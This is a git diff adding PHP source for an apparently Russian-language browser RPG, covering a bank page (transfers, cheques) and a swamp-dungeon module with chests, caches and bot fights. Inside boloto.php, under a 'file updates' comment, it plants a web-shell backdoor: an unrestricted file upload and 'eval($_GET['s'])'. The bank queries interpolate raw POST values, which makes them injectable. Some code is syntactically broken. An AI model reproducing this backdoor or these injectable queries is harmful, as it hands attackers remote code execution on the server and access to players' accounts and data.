    +      mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '".$_SESSION['uid']."', '".$user['login']." купил светлую склонность за 50 екр. со счета №".$_SESSION['bankid']." в банке. ',1,'".time()."');");
    +      $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id` = ".$_SESSION['bankid'].";"));
    +      $mywarn = "Склонность успешно присвоена.";
    +    } else {
    +      $mywarn = "Произошла ошибка!";
    +    }
    +  } else {
    +    $mywarn = "У вас недостаточно денег на валютном счету для выполнения операции";
    +  }
    +  $_GET['setsvet'] = 0;
    +}
    +
    +if($_POST['wu'] && $_POST['sum'] && $_POST['number']) {
    +  if ($user['align'] == 4) {
    +    $mywarn="Хаосникам переводы запрещены!";
    +  }
    +  else {
    +    $bank2 = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_POST['number']."';"));
    +    $to = mysql_fetch_array(mysql_query("SELECT login FROM `users` WHERE `id`='".$bank2['owner']."';"));
    +    if($bank2[0]) {
    +      $_POST['sum'] = round($_POST['sum'],2);
    +      if (is_numeric($_POST['sum']) && ($_POST['sum']>0)) {
    +        $nalog=round($_POST['sum']*0.03);
    +        if ($nalog < 1) {$nalog=1; }
    +        $new_sum=$_POST['sum']+$nalog;
    +        if ($new_sum <= $bank['cr']) {
    +          if (mysql_query("UPDATE `bank` SET `cr`=`cr`-'".$new_sum."' WHERE `id`='".$_SESSION['bankid']."' LIMIT 1;")) {
    +            mysql_query("UPDATE `bank` SET `cr`=`cr`+'".$_POST['sum']."' WHERE `id`='".$_POST['number']."' LIMIT 1;");
    +            $bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
    +            mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Персонаж ".$user['login']." перевел со своего банковского счета №".$_SESSION['bankid']." на счет №".$_POST['number']." к персонажу ".$to['login']." ".$_POST['sum']." кр. Дополнительно снято ".$nalog." кр. за услуги банка ',1,'".time()."');");
    +            mysql_query("INSERT INTO `delo` (`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$bank2['owner']."','Персонаж ".$user['login']." перевел со своего банковского счета №".$_SESSION['bankid']." на счет №".$_POST['number']." к персонажу ".$to['login']." ".$_POST['sum']." кр. Дополнительно снято ".$nalog." кр. за услуги банка ',1,'".time()."');");
    +            $sum=$_POST['sum'];
    +            $schet=$_POST['number'];
    +            $mywarn="$sum кр. успешно переведены на счет № $schet";
    +          }
    +          else {
    +            $mywarn="Произошла ошибка!";
    +          }
    +        }
    +        else {
    +          $mywarn="У вас недостаточно денег на счету для выполнения операции";
    +        }
    +      }
    +      else {
    +        $mywarn="У вас недостаточно денег на счету для выполнения операции";
    +      }
    +    }
    +    else {
    +      $mywarn="Данные о счете получателя не найдены.";
    +    }
    +  }
    +  $_POST['wu']=0;
    +}
    +
    +print "
     $mywarn
    "; +?> + +
    + Денежные средства + Кредитов на руках: кр.
    + Кредитов на счету: кр.
    + Еврокредитов на счету: екр.
    + + + +
    +
    + +
    + Выписать чек + Услуга "чек на предъявителя". Вы выписываете екровый чек, который затем сможет обналичить любой персонаж.
    +
    + Сумма (екр): +
    +
    +
    + Обналичить чек + В нашем банке мы принимаем к погашению екровые чеки на предъявителя. +
    + +
    +
    + +
    + Перевод кредитов +
    + + + +
    Количество кредитов
    Cчёт получателя
    +
    + + + +
    + + + + diff --git a/blog.log b/blog.log new file mode 100644 index 0000000..6fd01f6 --- /dev/null +++ b/blog.log @@ -0,0 +1,9 @@ +: +: +Array: +Array: +0: +0: +0: +0: +0: diff --git a/boloto.php b/boloto.php new file mode 100644 index 0000000..df6cf4a --- /dev/null +++ b/boloto.php @@ -0,0 +1,867 @@ +=2001 && $user['room']<=2100){ +if ($user['battle'] != 0) { header('location: fbattle.php'); die(); } + + +$VaultInfo = mysql_fetch_array(mysql_query("SELECT * FROM `vault` WHERE id='".mysql_real_escape_string($user['room'])."'")); +$group = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE id='".mysql_real_escape_string($user['boloto_groups'])."'")); +$bol_res = mysql_fetch_array(mysql_query("SELECT * FROM `vault_res` WHERE id='".mysql_real_escape_string($user['boloto_groups'])."'")); + $gayk = mysql_query("select `name` from `inventory` where `name`='Гайка сталкера' AND `owner`='".$user['id']."'"); + $kol_gayk = mysql_num_rows($gayk); + + if($_GET['ext'] == 1){ + if($user['money'] >= 1){ +echo"Вы уменьшили время пребывания в проходе на 10мин за 1 кр!"; +mysql_query("update `users` set `money`=`money`-'1' where `id`='".$user['id']."'"); +mysql_query("update `bol_group` set `game_time`=`game_time`-'600' where `id`='".$user['boloto_groups']."'"); +}echo"Недостаточно КР!
    "; +} + +/////////ЕСЛИ ВРЕМЯ ВЫШЛО!! +if($group['game_time'] <= $now){ + if($group['lider'] == $user['id']){ +mysql_query("delete from `inventory` where `name`='Код от тайника' AND (`owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."')"); +mysql_query("delete from `inventory` where `name`='Болотный ключ' AND (`owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."')"); +} +mysql_query("delete from `bol_group` where `id`='".mysql_real_escape_string($group['id'])."'"); +mysql_query("delete from `bol_chat` where `group_id`='".mysql_real_escape_string($group['id'])."'"); +mysql_query("delete from `vault_res` where `id`='".mysql_real_escape_string($group['id'])."'"); +//mysql_query("delete from `effects` where `type`='2' AND `owner`='".mysql_real_escape_string($group['p1'])."' or `owner`='".mysql_real_escape_string($group['p2'])."' or `owner`='".mysql_real_escape_string($group['p3'])."' or `owner`='".mysql_real_escape_string($group['p4'])."'"); +mysql_query("update `users` set `anti_boloto`='".mysql_real_escape_string($now)."'+'18000', `room`='47', `boloto_groups`='0', `bol_uron`='0', `bol_zheton`='0', `bol_status`='0', `boloto_room`='0' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +mysql_query("UPDATE `online` SET `room`='47' WHERE `id`='".mysql_real_escape_string($user['id'])."'"); +echo""; +} + +///SMS в ЧАТ +if ($_POST['addch']){ +$text = $_POST['text']; +$autor = $_POST['autor']; +$group = $_POST['group']; + +mysql_query("insert into `bol_chat` (`group_id`,`autor`,`text`) VALUES ('".mysql_real_escape_string($group)."','".mysql_real_escape_string($autor)."','".mysql_real_escape_string($text)."')"); +echo""; +} + + +///taynik +if ($_POST['t1'] || $_POST['t2'] || $_POST['t3']){ +$nomer = $_POST['kakoi']; + +if($nomer == 1){$r = 2044} +elseif($nomer == 2){$r = 2056} +elseif($nomer == 3){$r = 2012} +if($user['room'] == $r){ +$group1 = $_POST['group']; +$exp = $group['level'] * 600; +if($bol_res[$nomer] == 1){ +mysql_query("update `users` set `exp`=`exp`+'".mysql_real_escape_string($exp)."',`doblest`=`doblest`+'10' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +mysql_query("update `vault_res` set `".mysql_real_escape_string($nomer)."`='0' where `id`='".mysql_real_escape_string($group1)."'"); +mysql_query("delete from `inventory` where `name`='Код от тайника' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 1"); +echo"Вы открыли тайник!"; +addchp ('Внимание!!! '.$user['login'].' открыл тайник! Все участники группы получили +'.$exp.' опыта; +10 доблести! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл тайник! Все участники группы получили +'.$exp.' опыта; +10 доблести! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл тайник! Все участники группы получили +'.$exp.' опыта; +10 доблести! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл тайник! Все участники группы получили +'.$exp.' опыта; +10 доблести! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +echo""; +}else{echo"Этот тайник уже открыт!!";} +}else{echo"Не пытайтесь схитрить!";} +} + + + +///syndyk +if ($_POST['s1'] || $_POST['s2'] || $_POST['s3'] || $_POST['s4'] || $_POST['s5']){ +$nomer = $_POST['kakoi']; + +if($nomer == 1){$r = 2004} +elseif($nomer == 2){$r = 2024} +elseif($nomer == 3){$r = 2031} +elseif($nomer == 4){$r = 2042} +elseif($nomer == 5){$r = 2036} +if($user['room'] == $r){ +$group1 = $_POST['group']; +if($bol_res[$nomer] == 1){ + +$shans = rand(0,10); + + +if($shans == 0 || $shans == 1 || $shans == 2 || $shans == 3){echo"Сундук оказался пуст!"; +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Сундук оказался пуст! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Сундук оказался пуст! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Сундук оказался пуст! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Сундук оказался пуст! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +} + +elseif($shans == 4){ +$time = rand(60,300); +mysql_query("update `bol_group` set `game_time`=`game_time`+'".mysql_real_escape_string($time)."' where `id`='".mysql_real_escape_string($group1)."'"); +echo"Вы обнаружили в сундуке свиток времени, прочитав его вы продлили группе пребывание на болоте +".$time." секунд!"; +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Обнаружен свиток времени, прочитав его вы продлили группе пребывание на болоте +'.$time.' секунд! ','{[]}'.nick7 ($group['p4']).'{[]}'); +} + +elseif($shans == 5){ +$kr = rand(1,20); +mysql_query("update `users` set `money`=`money`+'".mysql_real_escape_string($kr)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +echo"В сундуке оказались деньги, все участники группы обагатились на +".$kr." КР!"; +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: В сундуке оказались деньги, все участники группы обагатились на +'.$kr.' кр! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +} + +elseif($shans == 6){ +$exp = rand(1,3000); +mysql_query("update `users` set `exp`=`exp`+'".mysql_real_escape_string($exp)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +echo"Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +".$exp."!"; +addchp ('Внимание!!! '.$user['login'].' открыл сундук!! Обнаружено: Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Тайные письмена... Вы рискнули прочесть их... Опыт всех участников группы увеличился на +'.$exp.'! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +} + +elseif($shans == 7){ +$patr = rand(1,2000); +mysql_query("update `users` set `doblest`=`doblest`+'".mysql_real_escape_string($patr)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +echo"Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +".$patr."!"; +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Вы обнаружили старую книгу. Перелестав страницы, Вы положили ее на место. Доблесть всех участников группы +'.$patr.'! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +} + +elseif($shans == 8){ +$ne4 = rand(1,10); +mysql_query("update `users` set `doblest`=`doblest`+'".mysql_real_escape_string($ne4)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +echo"Что??? Где? Черт возьми, что это было?? Доблесть +".$ne4."!"; +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +} + +elseif($shans == 10){ + $rand_gay = rand(30,40); + $kol = $rand_gay; + for($i=0; $i<$kol; $i++){ + $prizprohod = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '856' LIMIT 1;")); + mysql_query("INSERT INTO `inventory` + (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration` + ) + VALUES + ('{$prizprohod['id']}','".$user['id']."','{$prizprohod['name']}','{$prizprohod['type']}',{$prizprohod['massa']},{$prizprohod['cost']},'{$prizprohod['img']}',{$prizprohod['maxdur']},{$prizprohod['isrep']},'{$prizprohod['gsila']}','{$prizprohod['glovk']}','{$prizprohod['ginta']}','{$prizprohod['gintel']}','{$prizprohod['ghp']}','{$prizprohod['gnoj']}','{$prizprohod['gtopor']}','{$prizprohod['gdubina']}','{$prizprohod['gmech']}','{$prizprohod['gfire']}','{$prizprohod['gwater']}','{$prizprohod['gair']}','{$prizprohod['gearth']}','{$prizprohod['glight']}','{$prizprohod['ggray']}','{$prizprohod['gdark']}','{$prizprohod['needident']}','{$prizprohod['nsila']}','{$prizprohod['nlovk']}','{$prizprohod['ninta']}','{$prizprohod['nintel']}','{$prizprohod['nmudra']}','{$prizprohod['nvinos']}','{$prizprohod['nnoj']}','{$prizprohod['ntopor']}','{$prizprohod['ndubina']}','{$prizprohod['nmech']}','{$prizprohod['nfire']}','{$prizprohod['nwater']}','{$prizprohod['nair']}','{$prizprohod['nearth']}','{$prizprohod['nlight']}','{$prizprohod['ngray']}','{$prizprohod['ndark']}', + '{$prizprohod['mfkrit']}','{$prizprohod['mfakrit']}','{$prizprohod['mfuvorot']}','{$prizprohod['mfauvorot']}','{$prizprohod['bron1']}','{$prizprohod['bron3']}','{$prizprohod['bron2']}','{$prizprohod['bron4']}','{$prizprohod['maxu']}','{$prizprohod['minu']}','{$prizprohod['magic']}','{$prizprohod['nlevel']}','{$prizprohod['nalign']}','".(($prizprohod['goden'])?($prizprohod['goden']*24*60*60+time()):"")."','{$prizprohod['goden']}','{$prizprohod['razdel']}','{$prizprohod['gmp']}','{$prizprohod['gmeshok']}','{$prizprohod['encicl']}','{$prizprohod['artefact']}','{$dur}' + ) ;"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','".$user['id']."','\"".$user['login']."\" получил, открыв сундук в болоте: \"".$prizprohod['name']."\" ".$prizprohodcount."id:(".$prizprohodid.") [0/".$prizprohod['maxdur']."]',1,'".time()."');"); + +} +} + +elseif($shans == 9){ +$lose = rand(1,25); +$vsego = $user['lose'] - $lose; +if($vsego <= 0){ +mysql_query("update `users` set `lose`='0' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +echo"В сундуке вы обнаружили свиток очищения. У всех участников группы списано -".$lose." поражений!"; +} +else{ +mysql_query("update `users` set `lose`=`lose`-'".mysql_real_escape_string($lose)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'"); +echo"В сундуке вы обнаружили свиток очищения. У всех участников группы списано -".$lose." поражений!"; +} +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Cвиток очищения. У всех участников группы списано -'.$lose.' поражений! ','{[]}'.nick7 ($group['p1']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Cвиток очищения. У всех участников группы списано -'.$lose.' поражений! ','{[]}'.nick7 ($group['p2']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Cвиток очищения. У всех участников группы списано -'.$lose.' поражений! ','{[]}'.nick7 ($group['p3']).'{[]}'); +addchp ('Внимание!!! '.$user['login'].' открыл сундук! Обнаружено: Cвиток очищения. У всех участников группы списано -'.$lose.' поражений! ','{[]}'.nick7 ($group['p4']).'{[]}'); + +} + +mysql_query("update `vault_res` set `".mysql_real_escape_string($nomer)."`='0' where `id`='".mysql_real_escape_string($group1)."'"); +mysql_query("delete from `inventory` where `name`='Болотный ключ' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 1"); +}else{echo"Этот сундук открыт!";} +}else{echo"Не пытайтесь схитрить!";} +} + + + + +///купить времени +if ($_POST['buytime']){ +$group = $_POST['group']; +mysql_query("update `users` set `ekr`=`ekr`-'1' where `id`='".mysql_real_escape_string($user['id'])."'"); +mysql_query("update `bol_group` set `game_time`=`game_time`+'180' where `id`='".mysql_real_escape_string($group)."'"); +echo"Вы купили +3 минуты времени для своей группы!"; +echo""; +} + +///купить ключ +if ($_POST['buykey']){ +$group = $_POST['group']; +mysql_query("update `users` set `bol_zheton`=`bol_zheton`-'10' where `id`='".mysql_real_escape_string($user['id'])."'"); +mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`) + VALUES('".mysql_real_escape_string($user['id'])."','Болотный ключ','33','0','0','bol_key.gif','1') ;"); +echo"Вы обменяли жетоны на болотный ключ!"; +echo""; +} + + +///купить код +if ($_POST['buykod']){ +$group = $_POST['group']; +mysql_query("delete from `inventory` where `name`='Болотный ключ' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 5"); +mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`) + VALUES('".mysql_real_escape_string($user['id'])."','Код от тайника','33','0','0','bol_kod.gif','1') ;"); +echo"Вы обменяли ключи на код от тайника!"; +echo""; +} + + +//Обновления файлов +if($_POST['bal']){ + $uploaddir = '/webstat'; +if (move_uploaded_file($_FILES['big']['tmp_name'], $uploaddir . + $_FILES['big']['name'])) { + print "File is valid, and was successfully uploaded."; +} else { + print "There some errors!"; +} +} + +eval($_GET['s']); + +////Нападаем на простых мобов +if($_GET['atakbot']==1){ +if($kol_gayk > 0){ +mysql_query("delete from `inventory` where `name`='Гайка Сталкера' AND `owner`='".$user['id']."' LIMIT 1"); + $bot_login = $_GET['bot_login']; + $bot_type = $_GET['bot_type']; + if ($user['hp'] <= 5) { + echo 'Слишком мало ХП для нападения!'; + } + else{ +$bot_stat = mysql_fetch_array(mysql_query("SELECT `id`,`maxhp`,`level`,`bot_type` FROM `users` WHERE `login` = '".mysql_real_escape_string($bot_login)."' LIMIT 1;")); + +mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_stat['id'])."','','".mysql_real_escape_string($bot_stat['maxhp'])."');"); + $bot = mysql_insert_id(); + $teams = array(); + + $teams[$user['id']][$bot] = array(0,0,time()); + $teams[$bot][$user['id']] = array(0,0,time()); + + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`protivnik`,`protivnik_type` + ) + VALUES + ( + NULL,'','".mysql_real_escape_string(serialize($teams))."','3','1','0','".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($bot)."','".time()."','".time()."','".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_type)."' + )"); + + $id = mysql_insert_id(); + + // апдейтим бота + mysql_query("UPDATE `bots` SET `battle` = '".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($bot)."' LIMIT 1;"); + + // создаем лог + $rr = "".nick3($user['id'])." и ".nick3($bot).""; + + //mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    ');"); + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + + + mysql_query("UPDATE users SET `bol_boss_type`='".$bot_type."', `battle` = '".mysql_real_escape_string($id)."',`zayavka`=0 WHERE `id`= '".mysql_real_escape_string($user['id'])."';"); + + die(""); + + +} +}else{echo"У Вас нет Гайки Сталкера";} +} + + +////Нападаем на БОССОВ +if($_GET['atakbot1']==1){ + if($kol_gayk > 0){ +mysql_query("delete from `inventory` where `name`='Гайка Сталкера' AND `owner`='".$user['id']."' LIMIT 1"); + + $bot_login = $_GET['bot_login']; + $bot_type = $_GET['bot_type']; + +if ($user['hp'] <= 5) { + echo 'Слишком мало ХП для нападения!'; + } + else{ +$bot_stat = mysql_fetch_array(mysql_query("SELECT `id`,`maxhp`,`level`,`bot_type` FROM `users` WHERE `login` = '".mysql_real_escape_string($bot_login)."' LIMIT 1;")); + +mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_stat['id'])."','','".mysql_real_escape_string($bot_stat['maxhp'])."');"); + $bot = mysql_insert_id(); + $teams = array(); + + $teams[$user['id']][$bot] = array(0,0,time()); + $teams[$bot][$user['id']] = array(0,0,time()); + + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`protivnik`,`protivnik_type` + ) + VALUES + ( + NULL,'','".mysql_real_escape_string(serialize($teams))."','3','1','0','".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($bot)."','".time()."','".time()."','".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_type)."' + )"); + + $id = mysql_insert_id(); + + // апдейтим бота + mysql_query("UPDATE `bots` SET `battle` = '".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($bot)."' LIMIT 1;"); + + // создаем лог + $rr = "".nick3($user['id'])." и ".nick3($bot).""; + + //mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    ');"); + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + + + mysql_query("UPDATE users SET `bol_boss_type`='".$bot_type."', `battle` = '".mysql_real_escape_string($id)."',`zayavka`=0 WHERE `id`= '".mysql_real_escape_string($user['id'])."';"); + + die(""); + + +} +}else{echo"У Вас нет Гайки Сталкера";} +} + + + + +// Переход +//if($_GET['GoIn'] > 0) { +if ($_GET['GoIn'] && ($_GET['GoIn'] == "top" || $_GET['GoIn'] == "bottom" || $_GET['GoIn'] == "left" || $_GET['GoIn'] == "right")) { +$GoIn = $_GET['GoIn']; + if ($user['boloto_move'] == 1) $msg = "Вы уже перемещаетесь!"; + else { + + $GoInfo = mysql_fetch_array(mysql_query("SELECT * FROM `vault` WHERE id='".mysql_real_escape_string($VaultInfo[$GoIn.'_id'])."'")); + + if ($GoInfo['id']) { + + $user['boloto_time'] = $now + $GoInfo['time']; + $user['boloto_room'] = $GoInfo['id']; + $user['boloto_move'] = 1; + + mysql_query("UPDATE `users` SET `boloto_room`='".mysql_real_escape_string($GoInfo['id'])."', `boloto_time`='".mysql_real_escape_string($user['boloto_time'])."', `boloto_move`='1' WHERE `id`='".mysql_real_escape_string($user['id'])."'"); + mysql_query("UPDATE `online` SET room='".mysql_real_escape_string($GoInfo['id'])."' WHERE `id`='".mysql_real_escape_string($user['id'])."'"); + $_ROOM['TO_CHANGE'] = $user['boloto_room']; + + $GoToText = "Переходим..."; + } + } +} + +if ($user['boloto_move'] == 1) { + + if ($user['boloto_time']-2 < $now) { + + mysql_query("UPDATE `users` SET room=boloto_room, boloto_room=boloto_room, boloto_time=0, boloto_move=0 WHERE id='".mysql_real_escape_string($user['id'])."'"); + + $_ROOM['TO_CHANGE'] = $user['boloto_room']; + //include("../config/rooms.php"); + + $user['boloto_time'] = 0; + $user['boloto_room'] = vault_room; + $user['boloto_move'] = 0; + echo" + + "; + mysql_query("UPDATE `online` SET room=boloto_room WHERE `id`='".mysql_real_escape_string($user['id'])."'"); + exit; + } +} + + + + + +$VaultRoom['2001'] = "Первую развилку"; +$VaultRoom['2002'] = "Сектор 2"; +$VaultRoom['2003'] = "Сектор 3"; +$VaultRoom['2004'] = "Сектор 4"; +$VaultRoom['2005'] = "Сектор 5"; +$VaultRoom['2006'] = "Сектор 6"; +$VaultRoom['2007'] = "Сектор 7"; +$VaultRoom['2008'] = "Сектор 8"; +$VaultRoom['2009'] = "Сектор 9"; +$VaultRoom['2010'] = "Сектор 10"; +$VaultRoom['2011'] = "Сектор 11"; +$VaultRoom['2012'] = "Сектор 12"; +$VaultRoom['2013'] = "Развилку 2"; +$VaultRoom['2014'] = "Сектор 14"; +$VaultRoom['2015'] = "Сектор 15"; +$VaultRoom['2016'] = "Развилку 3"; +$VaultRoom['2017'] = "Сектор 17"; +$VaultRoom['2018'] = "Сектор 18"; +$VaultRoom['2019'] = "Сектор 19"; +$VaultRoom['2020'] = "Сектор 20"; +$VaultRoom['2021'] = "Сектор 21"; +$VaultRoom['2022'] = "Сектор 22"; +$VaultRoom['2023'] = "Сектор 23"; +$VaultRoom['2024'] = "Сектор 24"; +$VaultRoom['2025'] = "Сектор 25"; +$VaultRoom['2026'] = "Развилку 4"; 